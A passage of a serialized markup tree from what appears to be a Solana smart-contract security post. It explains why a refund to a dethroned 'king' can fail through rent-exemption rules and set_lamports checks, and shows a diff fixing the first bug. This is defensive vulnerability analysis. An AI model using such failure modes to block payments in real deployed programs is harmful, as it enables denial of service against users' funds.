      }\n    }\n",[74204],{"type":23,"tag":71,"props":74205,"children":74206},{"__ignoreMap":7},[74207,74291,74308,74354,74374,74395,74416,74431,74448,74492,74511,74532,74553,74569,74577,74610,74617,74624,74631,74638],{"type":23,"tag":230,"props":74208,"children":74209},{"class":232,"line":233},[74210,74215,74220,74224,74228,74232,74236,74241,74245,74249,74254,74258,74263,74267,74271,74275,74279,74283,74287],{"type":23,"tag":230,"props":74211,"children":74212},{"style":256},[74213],{"type":29,"value":74214},"    fn",{"type":23,"tag":230,"props":74216,"children":74217},{"style":294},[74218],{"type":29,"value":74219}," transition_allowed",{"type":23,"tag":230,"props":74221,"children":74222},{"style":274},[74223],{"type":29,"value":302},{"type":23,"tag":230,"props":74225,"children":74226},{"style":268},[74227],{"type":29,"value":5448},{"type":23,"tag":230,"props":74229,"children":74230},{"style":256},[74231],{"type":29,"value":16040},{"type":23,"tag":230,"props":74233,"children":74234},{"style":274},[74235],{"type":29,"value":684},{"type":23,"tag":230,"props":74237,"children":74238},{"style":262},[74239],{"type":29,"value":74240},"pre_rent_state",{"type":23,"tag":230,"props":74242,"children":74243},{"style":268},[74244],{"type":29,"value":218},{"type":23,"tag":230,"props":74246,"children":74247},{"style":268},[74248],{"type":29,"value":9477},{"type":23,"tag":230,"props":74250,"children":74251},{"style":676},[74252],{"type":29,"value":74253},"RentState",{"type":23,"tag":230,"props":74255,"children":74256},{"style":274},[74257],{"type":29,"value":684},{"type":23,"tag":230,"props":74259,"children":74260},{"style":262},[74261],{"type":29,"value":74262},"post_rent_state",{"type":23,"tag":230,"props":74264,"children":74265},{"style":268},[74266],{"type":29,"value":218},{"type":23,"tag":230,"props":74268,"children":74269},{"style":268},[74270],{"type":29,"value":9477},{"type":23,"tag":230,"props":74272,"children":74273},{"style":676},[74274],{"type":29,"value":74253},{"type":23,"tag":230,"props":74276,"children":74277},{"style":274},[74278],{"type":29,"value":703},{"type":23,"tag":230,"props":74280,"children":74281},{"style":268},[74282],{"type":29,"value":16084},{"type":23,"tag":230,"props":74284,"children":74285},{"style":676},[74286],{"type":29,"value":14381},{"type":23,"tag":230,"props":74288,"children":74289},{"style":274},[74290],{"type":29,"value":277},{"type":23,"tag":230,"props":74292,"children":74293},{"class":232,"line":243},[74294,74299,74304],{"type":23,"tag":230,"props":74295,"children":74296},{"style":866},[74297],{"type":29,"value":74298},"        match",{"type":23,"tag":230,"props":74300,"children":74301},{"style":262},[74302],{"type":29,"value":74303}," post_rent_state",{"type":23,"tag":230,"props":74305,"children":74306},{"style":274},[74307],{"type":29,"value":277},{"type":23,"tag":230,"props":74309,"children":74310},{"class":232,"line":252},[74311,74316,74320,74324,74328,74333,74337,74342,74346,74350],{"type":23,"tag":230,"props":74312,"children":74313},{"style":676},[74314],{"type":29,"value":74315},"            RentState",{"type":23,"tag":230,"props":74317,"children":74318},{"style":268},[74319],{"type":29,"value":5818},{"type":23,"tag":230,"props":74321,"children":74322},{"style":676},[74323],{"type":29,"value":74140},{"type":23,"tag":230,"props":74325,"children":74326},{"style":268},[74327],{"type":29,"value":6607},{"type":23,"tag":230,"props":74329,"children":74330},{"style":676},[74331],{"type":29,"value":74332}," RentState",{"type":23,"tag":230,"props":74334,"children":74335},{"style":268},[74336],{"type":29,"value":5818},{"type":23,"tag":230,"props":74338,"children":74339},{"style":676},[74340],{"type":29,"value":74341},"RentExempt",{"type":23,"tag":230,"props":74343,"children":74344},{"style":268},[74345],{"type":29,"value":30060},{"type":23,"tag":230,"props":74347,"children":74348},{"style":256},[74349],{"type":29,"value":14799},{"type":23,"tag":230,"props":74351,"children":74352},{"style":274},[74353],{"type":29,"value":388},{"type":23,"tag":230,"props":74355,"children":74356},{"class":232,"line":280},[74357,74361,74365,74370],{"type":23,"tag":230,"props":74358,"children":74359},{"style":676},[74360],{"type":29,"value":74315},{"type":23,"tag":230,"props":74362,"children":74363},{"style":268},[74364],{"type":29,"value":5818},{"type":23,"tag":230,"props":74366,"children":74367},{"style":676},[74368],{"type":29,"value":74369},"RentPaying",{"type":23,"tag":230,"props":74371,"children":74372},{"style":274},[74373],{"type":29,"value":277},{"type":23,"tag":230,"props":74375,"children":74376},{"class":232,"line":334},[74377,74382,74386,74391],{"type":23,"tag":230,"props":74378,"children":74379},{"style":262},[74380],{"type":29,"value":74381},"                data_size",{"type":23,"tag":230,"props":74383,"children":74384},{"style":268},[74385],{"type":29,"value":218},{"type":23,"tag":230,"props":74387,"children":74388},{"style":262},[74389],{"type":29,"value":74390}," post_data_size",{"type":23,"tag":230,"props":74392,"children":74393},{"style":274},[74394],{"type":29,"value":388},{"type":23,"tag":230,"props":74396,"children":74397},{"class":232,"line":371},[74398,74403,74407,74412],{"type":23,"tag":230,"props":74399,"children":74400},{"style":262},[74401],{"type":29,"value":74402},"                lamports",{"type":23,"tag":230,"props":74404,"children":74405},{"style":268},[74406],{"type":29,"value":218},{"type":23,"tag":230,"props":74408,"children":74409},{"style":262},[74410],{"type":29,"value":74411}," post_lamports",{"type":23,"tag":230,"props":74413,"children":74414},{"style":274},[74415],{"type":29,"value":388},{"type":23,"tag":230,"props":74417,"children":74418},{"class":232,"line":391},[74419,74423,74427],{"type":23,"tag":230,"props":74420,"children":74421},{"style":274},[74422],{"type":29,"value":72371},{"type":23,"tag":230,"props":74424,"children":74425},{"style":268},[74426],{"type":29,"value":2671},{"type":23,"tag":230,"props":74428,"children":74429},{"style":274},[74430],{"type":29,"value":277},{"type":23,"tag":230,"props":74432,"children":74433},{"class":232,"line":400},[74434,74439,74444],{"type":23,"tag":230,"props":74435,"children":74436},{"style":866},[74437],{"type":29,"value":74438},"                match",{"type":23,"tag":230,"props":74440,"children":74441},{"style":262},[74442],{"type":29,"value":74443}," pre_rent_state",{"type":23,"tag":230,"props":74445,"children":74446},{"style":274},[74447],{"type":29,"value":277},{"type":23,"tag":230,"props":74449,"children":74450},{"class":232,"line":444},[74451,74456,74460,74464,74468,74472,74476,74480,74484,74488],{"type":23,"tag":230,"props":74452,"children":74453},{"style":676},[74454],{"type":29,"value":74455},"                    RentState",{"type":23,"tag":230,"props":74457,"children":74458},{"style":268},[74459],{"type":29,"value":5818},{"type":23,"tag":230,"props":74461,"children":74462},{"style":676},[74463],{"type":29,"value":74140},{"type":23,"tag":230,"props":74465,"children":74466},{"style":268},[74467],{"type":29,"value":6607},{"type":23,"tag":230,"props":74469,"children":74470},{"style":676},[74471],{"type":29,"value":74332},{"type":23,"tag":230,"props":74473,"children":74474},{"style":268},[74475],{"type":29,"value":5818},{"type":23,"tag":230,"props":74477,"children":74478},{"style":676},[74479],{"type":29,"value":74341},{"type":23,"tag":230,"props":74481,"children":74482},{"style":268},[74483],{"type":29,"value":30060},{"type":23,"tag":230,"props":74485,"children":74486},{"style":256},[74487],{"type":29,"value":11391},{"type":23,"tag":230,"props":74489,"children":74490},{"style":274},[74491],{"type":29,"value":388},{"type":23,"tag":230,"props":74493,"children":74494},{"class":232,"line":453},[74495,74499,74503,74507],{"type":23,"tag":230,"props":74496,"children":74497},{"style":676},[74498],{"type":29,"value":74455},{"type":23,"tag":230,"props":74500,"children":74501},{"style":268},[74502],{"type":29,"value":5818},{"type":23,"tag":230,"props":74504,"children":74505},{"style":676},[74506],{"type":29,"value":74369},{"type":23,"tag":230,"props":74508,"children":74509},{"style":274},[74510],{"type":29,"value":277},{"type":23,"tag":230,"props":74512,"children":74513},{"class":232,"line":462},[74514,74519,74523,74528],{"type":23,"tag":230,"props":74515,"children":74516},{"style":262},[74517],{"type":29,"value":74518},"                        data_size",{"type":23,"tag":230,"props":74520,"children":74521},{"style":268},[74522],{"type":29,"value":218},{"type":23,"tag":230,"props":74524,"children":74525},{"style":262},[74526],{"type":29,"value":74527}," pre_data_size",{"type":23,"tag":230,"props":74529,"children":74530},{"style":274},[74531],{"type":29,"value":388},{"type":23,"tag":230,"props":74533,"children":74534},{"class":232,"line":471},[74535,74540,74544,74549],{"type":23,"tag":230,"props":74536,"children":74537},{"style":262},[74538],{"type":29,"value":74539},"                        lamports",{"type":23,"tag":230,"props":74541,"children":74542},{"style":268},[74543],{"type":29,"value":218},{"type":23,"tag":230,"props":74545,"children":74546},{"style":262},[74547],{"type":29,"value":74548}," pre_lamports",{"type":23,"tag":230,"props":74550,"children":74551},{"style":274},[74552],{"type":29,"value":388},{"type":23,"tag":230,"props":74554,"children":74555},{"class":232,"line":500},[74556,74561,74565],{"type":23,"tag":230,"props":74557,"children":74558},{"style":274},[74559],{"type":29,"value":74560},"                    } ",{"type":23,"tag":230,"props":74562,"children":74563},{"style":268},[74564],{"type":29,"value":2671},{"type":23,"tag":230,"props":74566,"children":74567},{"style":274},[74568],{"type":29,"value":277},{"type":23,"tag":230,"props":74570,"children":74571},{"class":232,"line":514},[74572],{"type":23,"tag":230,"props":74573,"children":74574},{"style":237},[74575],{"type":29,"value":74576},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":230,"props":74578,"children":74579},{"class":232,"line":897},[74580,74585,74589,74593,74597,74601,74605],{"type":23,"tag":230,"props":74581,"children":74582},{"style":262},[74583],{"type":29,"value":74584},"                        post_data_size",{"type":23,"tag":230,"props":74586,"children":74587},{"style":268},[74588],{"type":29,"value":5621},{"type":23,"tag":230,"props":74590,"children":74591},{"style":262},[74592],{"type":29,"value":74527},{"type":23,"tag":230,"props":74594,"children":74595},{"style":268},[74596],{"type":29,"value":16512},{"type":23,"tag":230,"props":74598,"children":74599},{"style":262},[74600],{"type":29,"value":74411},{"type":23,"tag":230,"props":74602,"children":74603},{"style":268},[74604],{"type":29,"value":10532},{"type":23,"tag":230,"props":74606,"children":74607},{"style":262},[74608],{"type":29,"value":74609}," pre_lamports\n",{"type":23,"tag":230,"props":74611,"children":74612},{"class":232,"line":960},[74613],{"type":23,"tag":230,"props":74614,"children":74615},{"style":274},[74616],{"type":29,"value":72840},{"type":23,"tag":230,"props":74618,"children":74619},{"class":232,"line":969},[74620],{"type":23,"tag":230,"props":74621,"children":74622},{"style":274},[74623],{"type":29,"value":72848},{"type":23,"tag":230,"props":74625,"children":74626},{"class":232,"line":4526},[74627],{"type":23,"tag":230,"props":74628,"children":74629},{"style":274},[74630],{"type":29,"value":60659},{"type":23,"tag":230,"props":74632,"children":74633},{"class":232,"line":4534},[74634],{"type":23,"tag":230,"props":74635,"children":74636},{"style":274},[74637],{"type":29,"value":5686},{"type":23,"tag":230,"props":74639,"children":74640},{"class":232,"line":4542},[74641],{"type":23,"tag":230,"props":74642,"children":74643},{"style":274},[74644],{"type":29,"value":1552},{"type":23,"tag":32,"props":74646,"children":74647},{},[74648],{"type":29,"value":74649},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":220,"props":74651,"children":74653},{"className":6581,"code":74652,"language":6580,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[74654],{"type":23,"tag":71,"props":74655,"children":74656},{"__ignoreMap":7},[74657,74673],{"type":23,"tag":230,"props":74658,"children":74659},{"class":232,"line":233},[74660,74664,74669],{"type":23,"tag":230,"props":74661,"children":74662},{"style":294},[74663],{"type":29,"value":5219},{"type":23,"tag":230,"props":74665,"children":74666},{"style":380},[74667],{"type":29,"value":74668}," rent",{"type":23,"tag":230,"props":74670,"children":74671},{"style":5149},[74672],{"type":29,"value":26585},{"type":23,"tag":230,"props":74674,"children":74675},{"class":232,"line":243},[74676,74681,74686,74691],{"type":23,"tag":230,"props":74677,"children":74678},{"style":294},[74679],{"type":29,"value":74680},"Rent-exempt",{"type":23,"tag":230,"props":74682,"children":74683},{"style":380},[74684],{"type":29,"value":74685}," minimum:",{"type":23,"tag":230,"props":74687,"children":74688},{"style":5149},[74689],{"type":29,"value":74690}," 0.00089088",{"type":23,"tag":230,"props":74692,"children":74693},{"style":380},[74694],{"type":29,"value":74695}," SOL\n",{"type":23,"tag":192,"props":74697,"children":74699},{"id":74698},"fix-1-only-reimburse-if-rent-exempt",[74700],{"type":29,"value":74701},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":32,"props":74703,"children":74704},{},[74705],{"type":29,"value":74706},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":220,"props":74708,"children":74710},{"className":5113,"code":74709,"language":5115,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[74711],{"type":23,"tag":71,"props":74712,"children":74713},{"__ignoreMap":7},[74714,74722,74730,74738,74746,74754,74762,74770,74778,74786],{"type":23,"tag":230,"props":74715,"children":74716},{"class":232,"line":233},[74717],{"type":23,"tag":230,"props":74718,"children":74719},{"style":274},[74720],{"type":29,"value":74721},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":230,"props":74723,"children":74724},{"class":232,"line":243},[74725],{"type":23,"tag":230,"props":74726,"children":74727},{"style":5149},[74728],{"type":29,"value":74729},"+let rent = Rent::get()?;\n",{"type":23,"tag":230,"props":74731,"children":74732},{"class":232,"line":252},[74733],{"type":23,"tag":230,"props":74734,"children":74735},{"style":5149},[74736],{"type":29,"value":74737},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":230,"props":74739,"children":74740},{"class":232,"line":280},[74741],{"type":23,"tag":230,"props":74742,"children":74743},{"style":5149},[74744],{"type":29,"value":74745},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":230,"props":74747,"children":74748},{"class":232,"line":334},[74749],{"type":23,"tag":230,"props":74750,"children":74751},{"style":274},[74752],{"type":29,"value":74753},"    transfer_from_pda(\n",{"type":23,"tag":230,"props":74755,"children":74756},{"class":232,"line":371},[74757],{"type":23,"tag":230,"props":74758,"children":74759},{"style":274},[74760],{"type":29,"value":74761},"        &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":230,"props":74763,"children":74764},{"class":232,"line":391},[74765],{"type":23,"tag":230,"props":74766,"children":74767},{"style":274},[74768],{"type":29,"value":74769},"        &ctx.accounts.old_king,\n",{"type":23,"tag":230,"props":74771,"children":74772},{"class":232,"line":400},[74773],{"type":23,"tag":230,"props":74774,"children":74775},{"style":274},[74776],{"type":29,"value":74777},"        to_reimburse,\n",{"type":23,"tag":230,"props":74779,"children":74780},{"class":232,"line":444},[74781],{"type":23,"tag":230,"props":74782,"children":74783},{"style":274},[74784],{"type":29,"value":74785},"    )?;\n",{"type":23,"tag":230,"props":74787,"children":74788},{"class":232,"line":453},[74789],{"type":23,"tag":230,"props":74790,"children":74791},{"style":5149},[74792],{"type":29,"value":74793},"+}\n",{"type":23,"tag":32,"props":74795,"children":74796},{},[74797],{"type":29,"value":74798},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":59,"props":74800,"children":74802},{"id":74801},"bug-2-writable-but-untouchable-set_lamports-fails",[74803,74805,74811],{"type":29,"value":74804},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":71,"props":74806,"children":74808},{"className":74807},[],[74809],{"type":29,"value":74810},"set_lamports",{"type":29,"value":74812}," Fails",{"type":23,"tag":32,"props":74814,"children":74815},{},[74816,74818,74825],{"type":29,"value":74817},"Let's look at ",{"type":23,"tag":181,"props":74819,"children":74822},{"href":74820,"rel":74821},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[185],[74823],{"type":29,"value":74824},"BorrowedAccount::set_lamports",{"type":29,"value":312},{"type":23,"tag":220,"props":74827,"children":74829},{"className":5320,"code":74828,"language":5319,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[74830],{"type":23,"tag":71,"props":74831,"children":74832},{"__ignoreMap":7},[74833,74841,74862,74934,74942,75001,75033,75040,75048,75076,75108,75115,75123,75147,75179,75186,75194,75229,75245,75252,75280,75315,75326,75333,75340,75348,75367,75375,75415,75427,75439,75451,75482],{"type":23,"tag":230,"props":74834,"children":74835},{"class":232,"line":233},[74836],{"type":23,"tag":230,"props":74837,"children":74838},{"style":237},[74839],{"type":29,"value":74840},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":230,"props":74842,"children":74843},{"class":232,"line":243},[74844,74849,74853,74858],{"type":23,"tag":230,"props":74845,"children":74846},{"style":274},[74847],{"type":29,"value":74848},"#[cfg(not(target_os ",{"type":23,"tag":230,"props":74850,"children":74851},{"style":268},[74852],{"type":29,"value":863},{"type":23,"tag":230,"props":74854,"children":74855},{"style":380},[74856],{"type":29,"value":74857}," \"solana\"",{"type":23,"tag":230,"props":74859,"children":74860},{"style":274},[74861],{"type":29,"value":22923},{"type":23,"tag":230,"props":74863,"children":74864},{"class":232,"line":252},[74865,74869,74873,74878,74882,74886,74890,74894,74898,74902,74906,74910,74914,74918,74922,74926,74930],{"type":23,"tag":230,"props":74866,"children":74867},{"style":256},[74868],{"type":29,"value":16017},{"type":23,"tag":230,"props":74870,"children":74871},{"style":256},[74872],{"type":29,"value":16022},{"type":23,"tag":230,"props":74874,"children":74875},{"style":294},[74876],{"type":29,"value":74877}," set_lamports",{"type":23,"tag":230,"props":74879,"children":74880},{"style":274},[74881],{"type":29,"value":302},{"type":23,"tag":230,"props":74883,"children":74884},{"style":268},[74885],{"type":29,"value":5448},{"type":23,"tag":230,"props":74887,"children":74888},{"style":256},[74889],{"type":29,"value":6059},{"type":23,"tag":230,"props":74891,"children":74892},{"style":256},[74893],{"type":29,"value":16124},{"type":23,"tag":230,"props":74895,"children":74896},{"style":274},[74897],{"type":29,"value":684},{"type":23,"tag":230,"props":74899,"children":74900},{"style":262},[74901],{"type":29,"value":17836},{"type":23,"tag":230,"props":74903,"children":74904},{"style":268},[74905],{"type":29,"value":218},{"type":23,"tag":230,"props":74907,"children":74908},{"style":676},[74909],{"type":29,"value":8197},{"type":23,"tag":230,"props":74911,"children":74912},{"style":274},[74913],{"type":29,"value":703},{"type":23,"tag":230,"props":74915,"children":74916},{"style":268},[74917],{"type":29,"value":16084},{"type":23,"tag":230,"props":74919,"children":74920},{"style":676},[74921],{"type":29,"value":16089},{"type":23,"tag":230,"props":74923,"children":74924},{"style":274},[74925],{"type":29,"value":16094},{"type":23,"tag":230,"props":74927,"children":74928},{"style":676},[74929],{"type":29,"value":18082},{"type":23,"tag":230,"props":74931,"children":74932},{"style":274},[74933],{"type":29,"value":9617},{"type":23,"tag":230,"props":74935,"children":74936},{"class":232,"line":280},[74937],{"type":23,"tag":230,"props":74938,"children":74939},{"style":237},[74940],{"type":29,"value":74941},"    // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":230,"props":74943,"children":74944},{"class":232,"line":334},[74945,74949,74953,74957,74961,74966,74970,74975,74980,74984,74988,74992,74997],{"type":23,"tag":230,"props":74946,"children":74947},{"style":866},[74948],{"type":29,"value":1493},{"type":23,"tag":230,"props":74950,"children":74951},{"style":268},[74952],{"type":29,"value":15193},{"type":23,"tag":230,"props":74954,"children":74955},{"style":256},[74956],{"type":29,"value":16040},{"type":23,"tag":230,"props":74958,"children":74959},{"style":268},[74960],{"type":29,"value":312},{"type":23,"tag":230,"props":74962,"children":74963},{"style":294},[74964],{"type":29,"value":74965},"is_owned_by_current_program",{"type":23,"tag":230,"props":74967,"children":74968},{"style":274},[74969],{"type":29,"value":16370},{"type":23,"tag":230,"props":74971,"children":74972},{"style":268},[74973],{"type":29,"value":74974},"&&",{"type":23,"tag":230,"props":74976,"children":74977},{"style":262},[74978],{"type":29,"value":74979}," lamports",{"type":23,"tag":230,"props":74981,"children":74982},{"style":268},[74983],{"type":29,"value":11055},{"type":23,"tag":230,"props":74985,"children":74986},{"style":256},[74987],{"type":29,"value":16124},{"type":23,"tag":230,"props":74989,"children":74990},{"style":268},[74991],{"type":29,"value":312},{"type":23,"tag":230,"props":74993,"children":74994},{"style":294},[74995],{"type":29,"value":74996},"get_lamports",{"type":23,"tag":230,"props":74998,"children":74999},{"style":274},[75000],{"type":29,"value":18061},{"type":23,"tag":230,"props":75002,"children":75003},{"class":232,"line":371},[75004,75008,75012,75016,75020,75024,75029],{"type":23,"tag":230,"props":75005,"children":75006},{"style":866},[75007],{"type":29,"value":3554},{"type":23,"tag":230,"props":75009,"children":75010},{"style":676},[75011],{"type":29,"value":18073},{"type":23,"tag":230,"props":75013,"children":75014},{"style":274},[75015],{"type":29,"value":302},{"type":23,"tag":230,"props":75017,"children":75018},{"style":676},[75019],{"type":29,"value":18082},{"type":23,"tag":230,"props":75021,"children":75022},{"style":268},[75023],{"type":29,"value":5818},{"type":23,"tag":230,"props":75025,"children":75026},{"style":676},[75027],{"type":29,"value":75028},"ExternalAccountLamportSpend",{"type":23,"tag":230,"props":75030,"children":75031},{"style":274},[75032],{"type":29,"value":753},{"type":23,"tag":230,"props":75034,"children":75035},{"class":232,"line":391},[75036],{"type":23,"tag":230,"props":75037,"children":75038},{"style":274},[75039],{"type":29,"value":1552},{"type":23,"tag":230,"props":75041,"children":75042},{"class":232,"line":400},[75043],{"type":23,"tag":230,"props":75044,"children":75045},{"style":237},[75046],{"type":29,"value":75047},"    // The balance of read-only may not change\n",{"type":23,"tag":230,"props":75049,"children":75050},{"class":232,"line":444},[75051,75055,75059,75063,75067,75072],{"type":23,"tag":230,"props":75052,"children":75053},{"style":866},[75054],{"type":29,"value":1493},{"type":23,"tag":230,"props":75056,"children":75057},{"style":268},[75058],{"type":29,"value":15193},{"type":23,"tag":230,"props":75060,"children":75061},{"style":256},[75062],{"type":29,"value":16040},{"type":23,"tag":230,"props":75064,"children":75065},{"style":268},[75066],{"type":29,"value":312},{"type":23,"tag":230,"props":75068,"children":75069},{"style":294},[75070],{"type":29,"value":75071},"is_writable",{"type":23,"tag":230,"props":75073,"children":75074},{"style":274},[75075],{"type":29,"value":18061},{"type":23,"tag":230,"props":75077,"children":75078},{"class":232,"line":453},[75079,75083,75087,75091,75095,75099,75104],{"type":23,"tag":230,"props":75080,"children":75081},{"style":866},[75082],{"type":29,"value":3554},{"type":23,"tag":230,"props":75084,"children":75085},{"style":676},[75086],{"type":29,"value":18073},{"type":23,"tag":230,"props":75088,"children":75089},{"style":274},[75090],{"type":29,"value":302},{"type":23,"tag":230,"props":75092,"children":75093},{"style":676},[75094],{"type":29,"value":18082},{"type":23,"tag":230,"props":75096,"children":75097},{"style":268},[75098],{"type":29,"value":5818},{"type":23,"tag":230,"props":75100,"children":75101},{"style":676},[75102],{"type":29,"value":75103},"ReadonlyLamportChange",{"type":23,"tag":230,"props":75105,"children":75106},{"style":274},[75107],{"type":29,"value":753},{"type":23,"tag":230,"props":75109,"children":75110},{"class":232,"line":462},[75111],{"type":23,"tag":230,"props":75112,"children":75113},{"style":274},[75114],{"type":29,"value":1552},{"type":23,"tag":230,"props":75116,"children":75117},{"class":232,"line":471},[75118],{"type":23,"tag":230,"props":75119,"children":75120},{"style":237},[75121],{"type":29,"value":75122},"    // The balance of executable accounts may not change\n",{"type":23,"tag":230,"props":75124,"children":75125},{"class":232,"line":500},[75126,75130,75134,75138,75143],{"type":23,"tag":230,"props":75127,"children":75128},{"style":866},[75129],{"type":29,"value":1493},{"type":23,"tag":230,"props":75131,"children":75132},{"style":256},[75133],{"type":29,"value":16124},{"type":23,"tag":230,"props":75135,"children":75136},{"style":268},[75137],{"type":29,"value":312},{"type":23,"tag":230,"props":75139,"children":75140},{"style":294},[75141],{"type":29,"value":75142},"is_executable_internal",{"type":23,"tag":230,"props":75144,"children":75145},{"style":274},[75146],{"type":29,"value":18061},{"type":23,"tag":230,"props":75148,"children":75149},{"class":232,"line":514},[75150,75154,75158,75162,75166,75170,75175],{"type":23,"tag":230,"props":75151,"children":75152},{"style":866},[75153],{"type":29,"value":3554},{"type":23,"tag":230,"props":75155,"children":75156},{"style":676},[75157],{"type":29,"value":18073},{"type":23,"tag":230,"props":75159,"children":75160},{"style":274},[75161],{"type":29,"value":302},{"type":23,"tag":230,"props":75163,"children":75164},{"style":676},[75165],{"type":29,"value":18082},{"type":23,"tag":230,"props":75167,"children":75168},{"style":268},[75169],{"type":29,"value":5818},{"type":23,"tag":230,"props":75171,"children":75172},{"style":676},[75173],{"type":29,"value":75174},"ExecutableLamportChange",{"type":23,"tag":230,"props":75176,"children":75177},{"style":274},[75178],{"type":29,"value":753},{"type":23,"tag":230,"props":75180,"children":75181},{"class":232,"line":897},[75182],{"type":23,"tag":230,"props":75183,"children":75184},{"style":274},[75185],{"type":29,"value":1552},{"type":23,"tag":230,"props":75187,"children":75188},{"class":232,"line":960},[75189],{"type":23,"tag":230,"props":75190,"children":75191},{"style":237},[75192],{"type":29,"value":75193},"    // don't touch the account if the lamports do not change\n",{"type":23,"tag":230,"props":75195,"children":75196},{"class":232,"line":969},[75197,75201,75205,75209,75213,75217,75221,75225],{"type":23,"tag":230,"props":75198,"children":75199},{"style":866},[75200],{"type":29,"value":1493},{"type":23,"tag":230,"props":75202,"children":75203},{"style":256},[75204],{"type":29,"value":16124},{"type":23,"tag":230,"props":75206,"children":75207},{"style":268},[75208],{"type":29,"value":312},{"type":23,"tag":230,"props":75210,"children":75211},{"style":294},[75212],{"type":29,"value":74996},{"type":23,"tag":230,"props":75214,"children":75215},{"style":274},[75216],{"type":29,"value":16370},{"type":23,"tag":230,"props":75218,"children":75219},{"style":268},[75220],{"type":29,"value":10911},{"type":23,"tag":230,"props":75222,"children":75223},{"style":262},[75224],{"type":29,"value":74979},{"type":23,"tag":230,"props":75226,"children":75227},{"style":274},[75228],{"type":29,"value":277},{"type":23,"tag":230,"props":75230,"children":75231},{"class":232,"line":4526},[75232,75236,75240],{"type":23,"tag":230,"props":75233,"children":75234},{"style":866},[75235],{"type":29,"value":3554},{"type":23,"tag":230,"props":75237,"children":75238},{"style":676},[75239],{"type":29,"value":44704},{"type":23,"tag":230,"props":75241,"children":75242},{"style":274},[75243],{"type":29,"value":75244},"(());\n",{"type":23,"tag":230,"props":75246,"children":75247},{"class":232,"line":4534},[75248],{"type":23,"tag":230,"props":75249,"children":75250},{"style":274},[75251],{"type":29,"value":1552},{"type":23,"tag":230,"props":75253,"children":75254},{"class":232,"line":4542},[75255,75259,75263,75268,75272,75276],{"type":23,"tag":230,"props":75256,"children":75257},{"style":256},[75258],{"type":29,"value":23101},{"type":23,"tag":230,"props":75260,"children":75261},{"style":268},[75262],{"type":29,"value":312},{"type":23,"tag":230,"props":75264,"children":75265},{"style":294},[75266],{"type":29,"value":75267},"touch",{"type":23,"tag":230,"props":75269,"children":75270},{"style":274},[75271],{"type":29,"value":16206},{"type":23,"tag":230,"props":75273,"children":75274},{"style":268},[75275],{"type":29,"value":5494},{"type":23,"tag":230,"props":75277,"children":75278},{"style":274},[75279],{"type":29,"value":511},{"type":23,"tag":230,"props":75281,"children":75282},{"class":232,"line":4559},[75283,75287,75291,75295,75299,75303,75307,75311],{"type":23,"tag":230,"props":75284,"children":75285},{"style":256},[75286],{"type":29,"value":23101},{"type":23,"tag":230,"props":75288,"children":75289},{"style":268},[75290],{"type":29,"value":312},{"type":23,"tag":230,"props":75292,"children":75293},{"style":274},[75294],{"type":29,"value":15282},{"type":23,"tag":230,"props":75296,"children":75297},{"style":268},[75298],{"type":29,"value":312},{"type":23,"tag":230,"props":75300,"children":75301},{"style":294},[75302],{"type":29,"value":74810},{"type":23,"tag":230,"props":75304,"children":75305},{"style":274},[75306],{"type":29,"value":302},{"type":23,"tag":230,"props":75308,"children":75309},{"style":262},[75310],{"type":29,"value":17836},{"type":23,"tag":230,"props":75312,"children":75313},{"style":274},[75314],{"type":29,"value":753},{"type":23,"tag":230,"props":75316,"children":75317},{"class":232,"line":4587},[75318,75322],{"type":23,"tag":230,"props":75319,"children":75320},{"style":676},[75321],{"type":29,"value":16660},{"type":23,"tag":230,"props":75323,"children":75324},{"style":274},[75325],{"type":29,"value":16665},{"type":23,"tag":230,"props":75327,"children":75328},{"class":232,"line":4595},[75329],{"type":23,"tag":230,"props":75330,"children":75331},{"style":274},[75332],{"type":29,"value":975},{"type":23,"tag":230,"props":75334,"children":75335},{"class":232,"line":4619},[75336],{"type":23,"tag":230,"props":75337,"children":75338},{"emptyLinePlaceholder":18},[75339],{"type":29,"value":459},{"type":23,"tag":230,"props":75341,"children":75342},{"class":232,"line":4627},[75343],{"type":23,"tag":230,"props":75344,"children":75345},{"style":237},[75346],{"type":29,"value":75347},"/// Feature gating to remove `is_executable` flag related 